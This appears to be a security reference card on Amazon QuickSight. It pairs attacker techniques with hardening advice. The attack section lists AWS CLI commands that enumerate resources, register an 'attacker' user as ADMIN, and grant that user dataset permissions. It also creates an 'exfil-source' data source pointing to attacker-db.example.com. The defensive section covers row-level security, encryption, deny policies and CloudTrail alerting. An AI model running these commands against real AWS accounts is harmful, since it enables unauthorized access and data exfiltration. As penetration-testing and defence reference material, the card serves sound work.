Amazon QuickSight is a serverless, cloud-scale business intelligence (BI) service. Attackers target QuickSight to access visualized business data, exploit data source connections to reach backend databases, exfiltrate SPICE dataset contents, and abuse embedded dashboard URLs to leak sensitive analytics to unauthorized parties.
QuickSight connects to a wide range of data sources including Amazon S3, Athena, RDS, Redshift, Aurora, OpenSearch Service, and on-premises databases via VPC connections. Data can be queried directly (Direct Query mode) or imported into SPICE for faster performance. SPICE datasets are encrypted at rest using AWS-managed keys by default, with optional customer-managed KMS keys (CMK).
Attack note: Data source connections store credentials (or use IAM roles) to access backend databases. Compromising QuickSight data source configurations can reveal database connection strings, usernames, and credential references in Secrets Manager.
Dashboards are read-only snapshots of analyses that can be shared with users or embedded in external applications. Embedded dashboards use signed URLs or embedding SDKs with session tags. Analyses are the authoring environment where users build visualizations from datasets.
Attack note: Embedded dashboard URLs, if leaked or generated with overly broad permissions, expose business intelligence data to unauthorized viewers. Anonymous embedding without proper row-level security exposes all data.
QuickSight aggregates data from multiple backend sources into a single analytics layer. Compromising QuickSight access can expose summarized business data, reveal backend database connection details, and provide a pivot point to underlying data stores. Embedded dashboards extend the attack surface beyond AWS console access.
aws quicksight list-dashboards \
--aws-account-id 123456789012aws quicksight list-data-sets \
--aws-account-id 123456789012aws quicksight list-data-sources \
--aws-account-id 123456789012aws quicksight list-users \
--aws-account-id 123456789012 \
--namespace defaultaws quicksight list-groups \
--aws-account-id 123456789012 \
--namespace defaultaws quicksight describe-data-source \
--aws-account-id 123456789012 \
--data-source-id my-data-source-idaws quicksight describe-data-set-permissions \
--aws-account-id 123456789012 \
--data-set-id my-data-set-idaws quicksight list-ingestions \
--aws-account-id 123456789012 \
--data-set-id my-data-set-idaws quicksight list-analyses \
--aws-account-id 123456789012Key insight: Row-level security in QuickSight does NOT apply to dataset Owners. If an attacker gains Owner-level access to a dataset, they see all rows regardless of RLS rules. This is by design but frequently misunderstood.
aws quicksight register-user \
--aws-account-id 123456789012 \
--namespace default \
--identity-type IAM \
--iam-arn arn:aws:iam::123456789012:user/attacker \
--user-role ADMIN \
--email attacker@example.comaws quicksight describe-data-source \
--aws-account-id 123456789012 \
--data-source-id target-ds-idaws quicksight update-data-set-permissions \
--aws-account-id 123456789012 \
--data-set-id target-dataset-id \
--grant-permissions Principal=arn:aws:quicksight:us-east-1:123456789012:user/default/attacker,Actions=quicksight:DescribeDataSet,quicksight:DescribeDataSetPermissions,quicksight:PassDataSet,quicksight:UpdateDataSet,quicksight:DeleteDataSet,quicksight:UpdateDataSetPermissionsaws quicksight create-data-source \
--aws-account-id 123456789012 \
--data-source-id exfil-source \
--name exfil-source \
--type MYSQL \
--data-source-parameters '{"MySqlParameters":{"Host":"attacker-db.example.com","Port":3306,"Database":"exfil"}}' \
--credentials '{"CredentialPair":{"Username":"exfil","Password":"password"}}'aws quicksight search-dashboards \
--aws-account-id 123456789012 \
--filters '[{"Operator":"StringLike","Name":"QUICKSIGHT_VIEWER_OR_OWNER","Value":"arn:aws:quicksight:us-east-1:123456789012:user/default/attacker"}]'{
"Effect": "Allow",
"Action": [
"quicksight:*"
],
"Resource": "*"
}Full QuickSight access allows user registration as Admin, data source creation, dataset export, and embedded URL generation
{
"Effect": "Allow",
"Action": [
"quicksight:RegisterUser",
"quicksight:CreateGroupMembership"
],
"Resource": "*"
}Allows registering new QuickSight users with any role (including ADMIN) and adding them to any group
{
"Effect": "Allow",
"Action": [
"quicksight:DescribeDashboard",
"quicksight:ListDashboards",
"quicksight:GetDashboardEmbedUrl"
],
"Resource": "arn:aws:quicksight:*:123456789012:dashboard/*",
"Condition": {
"StringEquals": {
"aws:PrincipalTag/Department": "analytics"
}
}
}Scoped to dashboard-only access with tag-based condition restricting to analytics department
{
"Effect": "Allow",
"Action": [
"quicksight:CreateDataSet",
"quicksight:DescribeDataSet",
"quicksight:PassDataSource",
"quicksight:CreateAnalysis",
"quicksight:DescribeAnalysis"
],
"Resource": [
"arn:aws:quicksight:*:123456789012:dataset/*",
"arn:aws:quicksight:*:123456789012:datasource/approved-*",
"arn:aws:quicksight:*:123456789012:analysis/*"
]
}Author limited to approved data sources only, preventing creation of rogue data source connections
Apply RLS on all shared datasets to ensure users only see authorized data. Apply CLS to hide sensitive columns. Enterprise edition required. Owners bypass RLS -- minimize Owner grants.
Enterprise Edition required
RLS: Permission dataset or tag-based rules
CLS: Restrict columns per user/group
Owners bypass RLS — minimize Owner grantsEnable CMK encryption for SPICE datasets to maintain control over encryption keys and the ability to revoke access instantly. Configure via QuickSight console under Manage QuickSight > SPICE encryption.
Use VPC connections to ensure QuickSight accesses private data sources without traversing the public internet. Use PrivateLink for QuickSight API access.
VPC connection: ENIs in your VPC subnets
Security groups control QuickSight traffic
PrivateLink: Interface VPC endpoint for APIUse IAM policies to prevent unauthorized QuickSight user registration. Deny quicksight:RegisterUser for non-admin principals.
{
"Effect": "Deny",
"Action": "quicksight:RegisterUser",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::123456789012:role/QuickSightAdmin"
}
}
}Store database credentials in AWS Secrets Manager rather than directly in QuickSight data source configurations. This enables credential rotation and audit logging.
Data source credential pair: Avoid
Secrets Manager ARN: Preferred
IAM role-based access: Best for AWS sourcesEnable CloudTrail logging for all QuickSight API calls. Alert on high-risk events: RegisterUser, CreateDataSource, UpdateDataSetPermissions, and GenerateEmbedUrlForAnonymousUser.
Amazon QuickSight Security Card • Toc Consulting
Always obtain proper authorization before testing